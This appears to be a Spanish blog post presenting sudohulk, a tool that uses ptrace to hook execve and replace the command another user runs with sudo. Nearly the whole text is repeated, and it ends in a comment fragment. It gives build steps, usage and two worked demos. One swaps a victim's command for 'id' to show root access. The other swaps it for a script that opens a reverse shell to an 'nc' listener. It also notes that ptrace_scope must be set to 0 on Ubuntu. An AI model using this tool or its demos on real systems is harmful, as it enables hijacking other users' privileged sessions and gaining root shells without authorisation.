sudohulk es una herramienta que es capaz de cambiar el comando sudo lanzado por otro usuario en otra shell (bash o zsh) hookeando la syscall execve mediante ptrace. Soporta las arquitecturas x86_64, x86 y arm.
Instalación
$ git clone https://github.com/hc0d3r/sudohulk.git
$ cd sudohulk
$ make
cc -Wall -Wextra -O2 -c -o bin/sh_remotedata.o src/sh_remotedata.c
cc -Wall -Wextra -O2 -c -o bin/sh_string.o src/sh_string.c
cc -Wall -Wextra -O2 -c -o bin/sudohulk.o src/sudohulk.c
cc -Wall -Wextra -O2 -o sudohulk bin/sh_remotedata.o bin/sh_string.o bin/sudohulk.o
Uso
$ ./sudohulk
sudohulk [-qdk] PID COMMAND [ARGS]
Options:
-q quit when change a command
-d run in background
-k keep original command line (appending to new)
Ejemplo: cambio de comando 'ls' por 'id' al ejecutar sudo en sesión actual
$ ./sudohulk -qd $$ id
running in background, pid:20899
$ sudo ls -lah
[sudo] senha para mmxm:
uid=0(root) gid=0(root) grupos=0(root)
Ejemplo: cambio de comando 'ls' por shell reversa con 'nc' en la sesión de la víctima
malicioso@host:~$ ./sudohulk -q 6610 bash /tmp/shell.sh
starting attach pid: 6610
[*] new process created: 6887
[+] (6887) sys_execve detected >>> '/usr/bin/sudo'
[+] sudo detected
[*] overwriting parameters
[-] exiting ...
victima@host:~$ sudo ls
Android Escritorio MEGAsync peda stopfw.sh
malicioso@host:~$ nc -nlvp 6969
listening on [any] 6969 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55866
id
uid=0(root) gid=0(root) grupos=0(root)
Demo video
NOTA: muchas distros que usan LSM (Linux Security Modules) como Yama implementan medidas de control sobre ptrace (bloquean las llamadas de los procesos que no sean hijos). Para que esta herramienta funcione, por ej. en las últimas versiones de Ubuntu, necesitaremos el sysctl /proc/sys/kernel/yama/ptrace_scope a 0 con lo cual la herramienta dejaría de ser efectiva. En otras distribuciones como Kali ya está desactivado por defecto.
Proyecto: https://github.com/hc0d3r/sudohulk
Instalación
$ git clone https://github.com/hc0d3r/sudohulk.git
$ cd sudohulk
$ make
cc -Wall -Wextra -O2 -c -o bin/sh_remotedata.o src/sh_remotedata.c
cc -Wall -Wextra -O2 -c -o bin/sh_string.o src/sh_string.c
cc -Wall -Wextra -O2 -c -o bin/sudohulk.o src/sudohulk.c
cc -Wall -Wextra -O2 -o sudohulk bin/sh_remotedata.o bin/sh_string.o bin/sudohulk.o
Uso
$ ./sudohulk
sudohulk [-qdk] PID COMMAND [ARGS]
Options:
-q quit when change a command
-d run in background
-k keep original command line (appending to new)
Ejemplo: cambio de comando 'ls' por 'id' al ejecutar sudo en sesión actual
$ ./sudohulk -qd $$ id
running in background, pid:20899
$ sudo ls -lah
[sudo] senha para mmxm:
uid=0(root) gid=0(root) grupos=0(root)
Ejemplo: cambio de comando 'ls' por shell reversa con 'nc' en la sesión de la víctima
malicioso@host:~$ ./sudohulk -q 6610 bash /tmp/shell.sh
starting attach pid: 6610
[*] new process created: 6887
[+] (6887) sys_execve detected >>> '/usr/bin/sudo'
[+] sudo detected
[*] overwriting parameters
[-] exiting ...
victima@host:~$ sudo ls
Android Escritorio MEGAsync peda stopfw.sh
malicioso@host:~$ nc -nlvp 6969
listening on [any] 6969 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55866
id
uid=0(root) gid=0(root) grupos=0(root)
Demo video
NOTA: muchas distros que usan LSM (Linux Security Modules) como Yama implementan medidas de control sobre ptrace (bloquean las llamadas de los procesos que no sean hijos). Para que esta herramienta funcione, por ej. en las últimas versiones de Ubuntu, necesitaremos el sysctl /proc/sys/kernel/yama/ptrace_scope a 0 con lo cual la herramienta dejaría de ser efectiva. En otras distribuciones como Kali ya está desactivado por defecto.
Proyecto: https://github.com/hc0d3r/sudohulk
cambio de comando 'ls' por shell reversa con 'nc'
ResponderEliminarmalicioso@host:~$ ./sudohulk -q 6610 bash /tmp/shell.sh
starting attach pid: 6610